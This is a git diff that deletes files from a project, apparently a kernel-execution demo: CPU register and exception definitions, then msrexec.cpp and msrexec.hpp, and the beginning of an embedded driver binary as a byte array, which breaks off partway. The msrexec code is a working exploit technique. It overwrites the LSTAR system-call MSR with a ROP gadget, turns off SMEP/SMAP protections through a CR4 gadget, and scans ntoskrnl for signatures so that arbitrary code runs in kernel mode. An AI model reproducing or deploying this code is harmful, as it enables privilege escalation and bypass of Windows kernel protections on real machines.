the description in EFLAGS. - */ - uint64_t zero_flag : 1; -#define RFLAGS_ZERO_FLAG_BIT 6 -#define RFLAGS_ZERO_FLAG_FLAG 0x40 -#define RFLAGS_ZERO_FLAG_MASK 0x01 -#define RFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) - - /** - * @brief Sign flag - * - * [Bit 7] See the description in EFLAGS. - */ - uint64_t sign_flag : 1; -#define RFLAGS_SIGN_FLAG_BIT 7 -#define RFLAGS_SIGN_FLAG_FLAG 0x80 -#define RFLAGS_SIGN_FLAG_MASK 0x01 -#define RFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) - - /** - * @brief Trap flag - * - * [Bit 8] See the description in EFLAGS. - */ - uint64_t trap_flag : 1; -#define RFLAGS_TRAP_FLAG_BIT 8 -#define RFLAGS_TRAP_FLAG_FLAG 0x100 -#define RFLAGS_TRAP_FLAG_MASK 0x01 -#define RFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) - - /** - * @brief Interrupt enable flag - * - * [Bit 9] See the description in EFLAGS. - */ - uint64_t interrupt_enable_flag : 1; -#define RFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 -#define RFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 -#define RFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 -#define RFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) - - /** - * @brief Direction flag - * - * [Bit 10] See the description in EFLAGS. - */ - uint64_t direction_flag : 1; -#define RFLAGS_DIRECTION_FLAG_BIT 10 -#define RFLAGS_DIRECTION_FLAG_FLAG 0x400 -#define RFLAGS_DIRECTION_FLAG_MASK 0x01 -#define RFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) - - /** - * @brief Overflow flag - * - * [Bit 11] See the description in EFLAGS. - */ - uint64_t overflow_flag : 1; -#define RFLAGS_OVERFLOW_FLAG_BIT 11 -#define RFLAGS_OVERFLOW_FLAG_FLAG 0x800 -#define RFLAGS_OVERFLOW_FLAG_MASK 0x01 -#define RFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) - - /** - * @brief I/O privilege level field - * - * [Bits 13:12] See the description in EFLAGS. - */ - uint64_t io_privilege_level : 2; -#define RFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 -#define RFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 -#define RFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 -#define RFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) - - /** - * @brief Nested task flag - * - * [Bit 14] See the description in EFLAGS. - */ - uint64_t nested_task_flag : 1; -#define RFLAGS_NESTED_TASK_FLAG_BIT 14 -#define RFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 -#define RFLAGS_NESTED_TASK_FLAG_MASK 0x01 -#define RFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief Resume flag - * - * [Bit 16] See the description in EFLAGS. - */ - uint64_t resume_flag : 1; -#define RFLAGS_RESUME_FLAG_BIT 16 -#define RFLAGS_RESUME_FLAG_FLAG 0x10000 -#define RFLAGS_RESUME_FLAG_MASK 0x01 -#define RFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) - - /** - * @brief Virtual-8086 mode flag - * - * [Bit 17] See the description in EFLAGS. - */ - uint64_t virtual_8086_mode_flag : 1; -#define RFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 -#define RFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 -#define RFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 -#define RFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) - - /** - * @brief Alignment check (or access control) flag - * - * [Bit 18] See the description in EFLAGS. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t alignment_check_flag : 1; -#define RFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 -#define RFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 -#define RFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 -#define RFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) - - /** - * @brief Virtual interrupt flag - * - * [Bit 19] See the description in EFLAGS. - */ - uint64_t virtual_interrupt_flag : 1; -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) - - /** - * @brief Virtual interrupt pending flag - * - * [Bit 20] See the description in EFLAGS. - */ - uint64_t virtual_interrupt_pending_flag : 1; -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) - - /** - * @brief Identification flag - * - * [Bit 21] See the description in EFLAGS. - */ - uint64_t identification_flag : 1; -#define RFLAGS_IDENTIFICATION_FLAG_BIT 21 -#define RFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 -#define RFLAGS_IDENTIFICATION_FLAG_MASK 0x01 -#define RFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) - uint64_t reserved4 : 42; - }; - - uint64_t flags; -} rflags; - -/** - * @defgroup exceptions \ - * Exceptions - * @{ - */ - /** - * @brief Exceptions that can occur when the instruction is executed in protected mode. - * Each exception is given a mnemonic that consists of a pound sign (\#) followed by two letters and an optional error code - * in parentheses. For example, \#GP(0) denotes a general protection exception with an error code of 0 - * - * @see Vol2A[3.1.1.13(Protected Mode Exceptions Section)] (reference) - * @see Vol3A[6.3.1(External Interrupts)] (reference) - */ -typedef enum -{ - /** - * #DE - Divide Error. - * Source: DIV and IDIV instructions. - * Error Code: No. - */ - divide_error = 0x00000000, - - /** - * #DB - Debug. - * Source: Any code or data reference. - * Error Code: No. - */ - debug = 0x00000001, - - /** - * Nonmaskable Interrupt. - * Source: Generated externally by asserting the processor's NMI pin or - * through an NMI request set by the I/O APIC to the local APIC. - * Error Code: No. - */ - nmi = 0x00000002, - - /** - * #BP - Breakpoint. - * Source: INT3 instruction. - * Error Code: No. - */ - breakpoint = 0x00000003, - - /** - * #OF - Overflow. - * Source: INTO instruction. - * Error Code: No. - */ - overflow = 0x00000004, - - /** - * #BR - BOUND Range Exceeded. - * Source: BOUND instruction. - * Error Code: No. - */ - bound_range_exceeded = 0x00000005, - - /** - * #UD - Invalid Opcode (Undefined Opcode). - * Source: UD instruction or reserved opcode. - * Error Code: No. - */ - invalid_opcode = 0x00000006, - - /** - * #NM - Device Not Available (No Math Coprocessor). - * Source: Floating-point or WAIT/FWAIT instruction. - * Error Code: No. - */ - device_not_available = 0x00000007, - - /** - * #DF - Double Fault. - * Source: Any instruction that can generate an exception, an NMI, or an INTR. - * Error Code: Yes (zero). - */ - double_fault = 0x00000008, - - /** - * #\## - Coprocessor Segment Overrun (reserved). - * Source: Floating-point instruction. - * Error Code: No. - * - * @note Processors after the Intel386 processor do not generate this exception. - */ - coprocessor_segment_overrun = 0x00000009, - - /** - * #TS - Invalid TSS. - * Source: Task switch or TSS access. - * Error Code: Yes. - */ - invalid_tss = 0x0000000A, - - /** - * #NP - Segment Not Present. - * Source: Loading segment registers or accessing system segments. - * Error Code: Yes. - */ - segment_not_present = 0x0000000B, - - /** - * #SS - Stack Segment Fault. - * Source: Stack operations and SS register loads. - * Error Code: Yes. - */ - stack_segment_fault = 0x0000000C, - - /** - * #GP - General Protection. - * Source: Any memory reference and other protection checks. - * Error Code: Yes. - */ - general_protection = 0x0000000D, - - /** - * #PF - Page Fault. - * Source: Any memory reference. - * Error Code: Yes. - */ - page_fault = 0x0000000E, - - /** - * #MF - Floating-Point Error (Math Fault). - * Source: Floating-point or WAIT/FWAIT instruction. - * Error Code: No. - */ - x87_floating_point_error = 0x00000010, - - /** - * #AC - Alignment Check. - * Source: Any data reference in memory. - * Error Code: Yes. - */ - alignment_check = 0x00000011, - - /** - * #MC - Machine Check. - * Source: Model dependent machine check errors. - * Error Code: No. - */ - machine_check = 0x00000012, - - /** - * #XM - SIMD Floating-Point Numeric Error. - * Source: SSE/SSE2/SSE3 floating-point instructions. - * Error Code: No. - */ - simd_floating_point_error = 0x00000013, - - /** - * #VE - Virtualization Exception. - * Source: EPT violations. - * Error Code: No. - */ - virtualization_exception = 0x00000014, -} exception_vector; - -/** - * @brief When an exception condition is related to a specific segment selector or IDT vector, the processor pushes an - * error code onto the stack of the exception handler (whether it is a procedure or task). The error code resembles a - * segment selector; however, instead of a TI flag and RPL field, the error code contains 3 different flags - * - * @see Vol3A[6.13(ERROR CODE)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bit 0] When set, indicates that the exception occurred during delivery of an event external to the program, such as an - * interrupt or an earlier exception. The bit is cleared if the exception occurred during delivery of a software interrupt - * (INT n, INT3, or INTO). - */ - uint32_t external_event : 1; -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_BIT 0 -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_FLAG 0x01 -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_MASK 0x01 -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] When set, indicates that the index portion of the error code refers to a gate descriptor in the IDT; when clear, - * indicates that the index refers to a descriptor in the GDT or the current LDT. - */ - uint32_t descriptor_location : 1; -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_BIT 1 -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_FLAG 0x02 -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_MASK 0x01 -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Only used when the IDT flag is clear. When set, the TI flag indicates that the index portion of the error code - * refers to a segment or gate descriptor in the LDT; when clear, it indicates that the index refers to a descriptor in the - * current GDT. - */ - uint32_t gdt_ldt : 1; -#define EXCEPTION_ERROR_CODE_GDT_LDT_BIT 2 -#define EXCEPTION_ERROR_CODE_GDT_LDT_FLAG 0x04 -#define EXCEPTION_ERROR_CODE_GDT_LDT_MASK 0x01 -#define EXCEPTION_ERROR_CODE_GDT_LDT(_) (((_) >> 2) & 0x01) - - /** - * [Bits 15:3] The segment selector index field provides an index into the IDT, GDT, or current LDT to the segment or gate - * selector being referenced by the error code. In some cases the error code is null (all bits are clear except possibly - * EXT). A null error code indicates that the error was not caused by a reference to a specific segment or that a null - * segment selector was referenced in an operation. - * - * @note The format of the error code is different for page-fault exceptions (#PF). - */ - uint32_t index : 13; -#define EXCEPTION_ERROR_CODE_INDEX_BIT 3 -#define EXCEPTION_ERROR_CODE_INDEX_FLAG 0xFFF8 -#define EXCEPTION_ERROR_CODE_INDEX_MASK 0x1FFF -#define EXCEPTION_ERROR_CODE_INDEX(_) (((_) >> 3) & 0x1FFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; -} exception_error_code; - -/** - * @brief Page fault exception - * - * @see Vol3A[4.7(PAGE-FAULT EXCEPTIONS)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bit 0] This flag is 0 if there is no translation for the linear address because the P flag was 0 in one of the - * pagingstructure entries used to translate that address. - */ - uint32_t present : 1; -#define PAGE_FAULT_EXCEPTION_PRESENT_BIT 0 -#define PAGE_FAULT_EXCEPTION_PRESENT_FLAG 0x01 -#define PAGE_FAULT_EXCEPTION_PRESENT_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If the access causing the page-fault exception was a write, this flag is 1; otherwise, it is 0. This flag - * describes the access causing the page-fault exception, not the access rights specified by paging. - */ - uint32_t write : 1; -#define PAGE_FAULT_EXCEPTION_WRITE_BIT 1 -#define PAGE_FAULT_EXCEPTION_WRITE_FLAG 0x02 -#define PAGE_FAULT_EXCEPTION_WRITE_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If a user-mode access caused the page-fault exception, this flag is 1; it is 0 if a supervisor-mode access did - * so. This flag describes the access causing the page-fault exception, not the access rights specified by paging. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint32_t user_mode_access : 1; -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_BIT 2 -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_FLAG 0x04 -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] This flag is 1 if there is no translation for the linear address because a reserved bit was set in one of the - * pagingstructure entries used to translate that address. (Because reserved bits are not checked in a paging-structure - * entry whose P flag is 0, bit 3 of the error code can be set only if bit 0 is also set). Bits reserved in the - * paging-structure entries are reserved for future functionality. Software developers should be aware that such bits may - * be used in the future and that a paging-structure entry that causes a page-fault exception on one processor might not do - * so in the future. - */ - uint32_t reserved_bit_violation : 1; -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_BIT 3 -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_FLAG 0x08 -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] This flag is 1 if (1) the access causing the page-fault exception was an instruction fetch; and (2) either (a) - * CR4.SMEP = 1; or (b) both (i) CR4.PAE = 1 (either PAE paging or 4-level paging is in use); and (ii) IA32_EFER.NXE = 1. - * Otherwise, the flag is 0. This flag describes the access causing the page-fault exception, not the access rights - * specified by paging. - */ - uint32_t execute : 1; -#define PAGE_FAULT_EXCEPTION_EXECUTE_BIT 4 -#define PAGE_FAULT_EXCEPTION_EXECUTE_FLAG 0x10 -#define PAGE_FAULT_EXCEPTION_EXECUTE_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_EXECUTE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] This flag is 1 if (1) IA32_EFER.LMA = CR4.PKE = 1; (2) the access causing the page-fault exception was a data - * access; (3) the linear address was a user-mode address with protection key i; and (5) the PKRU register is such that - * either (a) ADi = 1; or (b) the following all hold: (i) WDi = 1; (ii) the access is a write access; and (iii) either - * CR0.WP = 1 or the access causing the page-fault exception was a user-mode access. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint32_t protection_key_violation : 1; -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_BIT 5 -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_FLAG 0x20 -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION(_) (((_) >> 5) & 0x01) - uint32_t reserved1 : 9; - - /** - * [Bit 15] This flag is 1 if the exception is unrelated to paging and resulted from violation of SGX-specific - * access-control requirements. Because such a violation can occur only if there is no ordinary page fault, this flag is - * set only if the P flag (bit 0) is 1 and the RSVD flag (bit 3) and the PK flag (bit 5) are both 0. - */ - uint32_t sgx : 1; -#define PAGE_FAULT_EXCEPTION_SGX_BIT 15 -#define PAGE_FAULT_EXCEPTION_SGX_FLAG 0x8000 -#define PAGE_FAULT_EXCEPTION_SGX_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_SGX(_) (((_) >> 15) & 0x01) - uint32_t reserved2 : 16; - }; - - uint32_t flags; -} page_fault_exception; - -/** - * @} - */ - - /** - * @defgroup memory_type \ - * Memory caching type - * - * The processor allows any area of system memory to be cached in the L1, L2, and L3 caches. In individual pages or regions - * of system memory, it allows the type of caching (also called memory type) to be specified. - * - * @see Vol3A[11.11(MEMORY TYPE RANGE REGISTERS (MTRRS))] - * @see Vol3A[11.5(CACHE CONTROL)] - * @see Vol3A[11.3(METHODS OF CACHING AVAILABLE)] (reference) - * @{ - */ - /** - * @brief Strong Uncacheable (UC) - * - * System memory locations are not cached. All reads and writes appear on the system bus and are executed in program order - * without reordering. No speculative memory accesses, pagetable walks, or prefetches of speculated branch targets are - * made. This type of cache-control is useful for memory-mapped I/O devices. When used with normal RAM, it greatly reduces - * processor performance. - */ -#define MEMORY_TYPE_UNCACHEABLE 0x00000000 - - /** - * @brief Write Combining (WC) - * - * System memory locations are not cached (as with uncacheable memory) and coherency is not enforced by the processor's bus - * coherency protocol. Speculative reads are allowed. Writes may be delayed and combined in the write combining buffer (WC - * buffer) to reduce memory accesses. If the WC buffer is partially filled, the writes may be delayed until the next - * occurrence of a serializing event; such as, an SFENCE or MFENCE instruction, CPUID execution, a read or write to - * uncached memory, an interrupt occurrence, or a LOCK instruction execution. This type of cache-control is appropriate for - * video frame buffers, where the order of writes is unimportant as long as the writes update memory so they can be seen on - * the graphics display. This memory type is available in the Pentium Pro and Pentium II processors by programming the - * MTRRs; or in processor families starting from the Pentium III processors by programming the MTRRs or by selecting it - * through the PAT. - * - * @see Vol3A[11.3.1(Buffering of Write Combining Memory Locations)] - */ -#define MEMORY_TYPE_WRITE_COMBINING 0x00000001 - - /** - * @brief Write-through (WT) - * - * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause - * cache fills. Speculative reads are allowed. All writes are written to a cache line (when possible) and through to system - * memory. When writing through to memory, invalid cache lines are never filled, and valid cache lines are either filled or - * invalidated. Write combining is allowed. This type of cache-control is appropriate for frame buffers or when there are - * devices on the system bus that access system memory, but do not perform snooping of memory accesses. It enforces - * coherency between caches in the processors and system memory. - */ -#define MEMORY_TYPE_WRITE_THROUGH 0x00000004 - - /** - * @brief Write protected (WP) - * - * Reads come from cache lines when possible, and read misses cause cache fills. Writes are propagated to the system bus - * and cause corresponding cache lines on all processors on the bus to be invalidated. Speculative reads are allowed. This - * memory type is available in processor families starting from the P6 family processors by programming the MTRRs. - */ -#define MEMORY_TYPE_WRITE_PROTECTED 0x00000005 - - /** - * @brief Write-back (WB) - * - * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause - * cache fills. Speculative reads are allowed. Write misses cause cache line fills (in processor families starting with the - * P6 family processors), and writes are performed entirely in the cache, when possible. Write combining is allowed. The - * write-back memory type reduces bus traffic by eliminating many unnecessary writes to system memory. Writes to a cache - * line are not immediately forwarded to system memory; instead, they are accumulated in the cache. The modified cache - * lines are written to system memory later, when a write-back operation is performed. Write-back operations are triggered - * when cache lines need to be deallocated, such as when new cache lines are being allocated in a cache that is already - * full. They also are triggered by the mechanisms used to maintain cache consistency. This type of cache-control provides - * the best performance, but it requires that all devices that access system memory on the system bus be able to snoop - * memory accesses to insure system memory and cache coherency. - */ -#define MEMORY_TYPE_WRITE_BACK 0x00000006 - - /** - * @brief Uncacheable (UC-) - * - * Has same characteristics as the strong uncacheable (UC) memory type, except that this memory type can be overridden by - * programming the MTRRs for the WC memory type. This memory type is available in processor families starting from the - * Pentium III processors and can only be selected through the PAT. - */ -#define MEMORY_TYPE_UNCACHEABLE_MINUS 0x00000007 -#define MEMORY_TYPE_INVALID 0x000000FF - /** - * @} - */ - - /** - * @} - */ - diff --git a/demos/Theodosius-Client/msrexec/msrexec.cpp b/demos/Theodosius-Client/msrexec/msrexec.cpp deleted file mode 100644 index d553508..0000000 --- a/demos/Theodosius-Client/msrexec/msrexec.cpp +++ /dev/null @@ -1,194 +0,0 @@ -#include "msrexec.hpp" - -void msrexec_handler(callback_t* callback) -{ - // restore LSTAR.... - __writemsr(IA32_LSTAR_MSR, m_system_call); - - // call usermode code... - (*callback)(ntoskrnl_base, get_system_routine); -} - -namespace vdm -{ - msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) - : wrmsr(wrmsr) - { - if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget) - if (!find_gadgets()) - DBG_PRINT("> failed to find gadgets...\n"); - - if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call) - if (!find_globals()) - DBG_PRINT("> failed to find globals...\n"); - - cpuid_eax_01 cpuid_info; - __cpuid((int*)&cpuid_info, 1); - - cpuid_eax_07 cpuid_features; - __cpuid((int*)&cpuid_features, 7); - - cr4 cr4_value{}; - cr4_value.debugging_extensions = true; - cr4_value.page_size_extensions = true; - cr4_value.machine_check_enable = true; - - cr4_value.physical_address_extension = - cpuid_info.cpuid_feature_information_edx.physical_address_extension; - - cr4_value.os_fxsave_fxrstor_support = - cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions; - - cr4_value.os_xmm_exception_support = true; - - cr4_value.fsgsbase_enable = - IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE); - - cr4_value.os_xsave = - IsProcessorFeaturePresent(PF_XSAVE_ENABLED); - - cr4_value.pcid_enable = - cpuid_info.cpuid_feature_information_ecx - .process_context_identifiers; - - m_smep_off.flags = cr4_value.flags; - m_smep_off.smep_enable = false; - m_smep_off.smap_enable = false; // newer cpus have this on... - - // WARNING: some virtual machines dont have SMEP... - // my VMWare VM doesnt... nor does my Virtual Box VM... - m_smep_on.flags = cr4_value.flags; - m_smep_on.smep_enable = cpuid_features.ebx.smep; - m_smep_on.smap_enable = cpuid_features.ebx.smap; - - ntoskrnl_base = - reinterpret_cast( - utils::kmodule::get_base("ntoskrnl.exe")); - - get_system_routine = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "RtlFindExportedRoutineByName")); - } - - auto msrexec_ctx::find_gadgets() -> bool - { - m_mov_cr4_gadget = - utils::rop::find_kgadget( - MOV_CR4_GADGET, "xxxx"); - - if (!m_mov_cr4_gadget) - return {}; - - m_sysret_gadget = - utils::rop::find_kgadget( - SYSRET_GADGET, "xxx"); - - if (!m_sysret_gadget) - return {}; - - m_pop_rcx_gadget = - utils::rop::find_kgadget( - POP_RCX_GADGET, "xx"); - - if (!m_pop_rcx_gadget) - return {}; - - return true; - } - - auto msrexec_ctx::find_globals() -> bool - { - const auto [section_data, section_rva] = - utils::pe::get_section( - reinterpret_cast( - LoadLibraryA("ntoskrnl.exe")), ".text"); - - const auto ki_system_call = - utils::scan(reinterpret_cast( - section_data.data()), section_data.size(), - KI_SYSCALL_SIG, KI_SYSCALL_MASK); - - if (!ki_system_call) - return {}; - - m_system_call = (ki_system_call - - reinterpret_cast( - section_data.data())) + section_rva + - utils::kmodule::get_base("ntoskrnl.exe"); - - /* - .text:0000000140406CC0 KiSystemCall64 - .text:0000000140406CC0 0F 01 F8 swapgs - .text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset... - .text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset... - */ - - m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); - m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); - - // handle KVA shadowing... if KVA shadowing is - // enabled LSTAR will point at KiSystemCall64Shadow... - SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; - - // if SystemKernelVaShadowInformation is not a valid class just - // return true and assume LSTAR points to KiSystemCall64... - if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr))) - { - if (kva_info.KvaShadowFlags.KvaShadowEnabled) - { - const auto [section_data, section_rva] = - utils::pe::get_section( - reinterpret_cast( - LoadLibraryA("ntoskrnl.exe")), "KVASCODE"); - - // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow... - if (!section_rva || section_data.empty()) - return true; - - const auto ki_system_shadow_call = - utils::scan(reinterpret_cast( - section_data.data()), section_data.size(), - KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK); - - // already set m_syscall_call so we just return true... - if (!ki_system_shadow_call) - return true; - - // else we update m_system_call with KiSystemCall64Shadow... - m_system_call = (ki_system_shadow_call - - reinterpret_cast( - section_data.data())) + section_rva + - utils::kmodule::get_base("ntoskrnl.exe"); - } - } - return true; - } - - void msrexec_ctx::exec(callback_t kernel_callback) - { - const thread_info_t thread_info = - { - GetPriorityClass(GetCurrentProcess()), - GetThreadPriority(GetCurrentThread()) - }; - - SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); - SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); - - // set LSTAR to first rop gadget... race begins here... - wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget); - - // go go gadget kernel execution... - syscall_wrapper(&kernel_callback); - - SetPriorityClass(GetCurrentProcess(), thread_info.first); - SetThreadPriority(GetCurrentThread(), thread_info.second); - } - - void msrexec_ctx::set_wrmsr(writemsr_t wrmsr) - { this->wrmsr = wrmsr; } - - auto msrexec_ctx::get_wrmsr() -> writemsr_t const - { return this->wrmsr; } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/msrexec/msrexec.hpp b/demos/Theodosius-Client/msrexec/msrexec.hpp deleted file mode 100644 index bf4f7ec..0000000 --- a/demos/Theodosius-Client/msrexec/msrexec.hpp +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once -#include "../utils.hpp" -#include "syscall_handler.h" -#include - -#define IA32_LSTAR_MSR 0xC0000082 -#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" -#define POP_RCX_GADGET "\x59\xc3" -#define SYSRET_GADGET "\x48\x0F\x07" - -// not sure how far back this signature goes... works on 1507 though.... -#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" -#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" -static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); - -#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC" -#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx" -static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK); - -using get_system_routine_t = void* (*)(void*, const char*); -using callback_t = std::function; -using thread_info_t = std::pair; -using writemsr_t = std::function; - -extern "C" void msrexec_handler(callback_t* callback); -inline get_system_routine_t get_system_routine = nullptr; -inline void* ntoskrnl_base = nullptr; - -namespace vdm -{ - class msrexec_ctx - { - public: - explicit msrexec_ctx(writemsr_t wrmsr); - void exec(callback_t kernel_callback); - void set_wrmsr(writemsr_t wrmsr); - auto get_wrmsr() -> writemsr_t const; - private: - auto find_gadgets() -> bool; - auto find_globals() -> bool; - writemsr_t wrmsr; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Client/msrexec/raw_driver.hpp b/demos/Theodosius-Client/msrexec/raw_driver.hpp deleted file mode 100644 index 81cd67a..0000000 --- a/demos/Theodosius-Client/msrexec/raw_driver.hpp +++ /dev/null @@ -1,1733 +0,0 @@ -#pragma once - -namespace msrexec -{ - inline unsigned char raw_driver[] = - { - 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, - 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, - 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xD8, 0x5C, 0x84, - 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, - 0xEF, 0xB9, 0x33, 0xD7, 0xF1, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x33, 0xD6, - 0xEA, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x36, 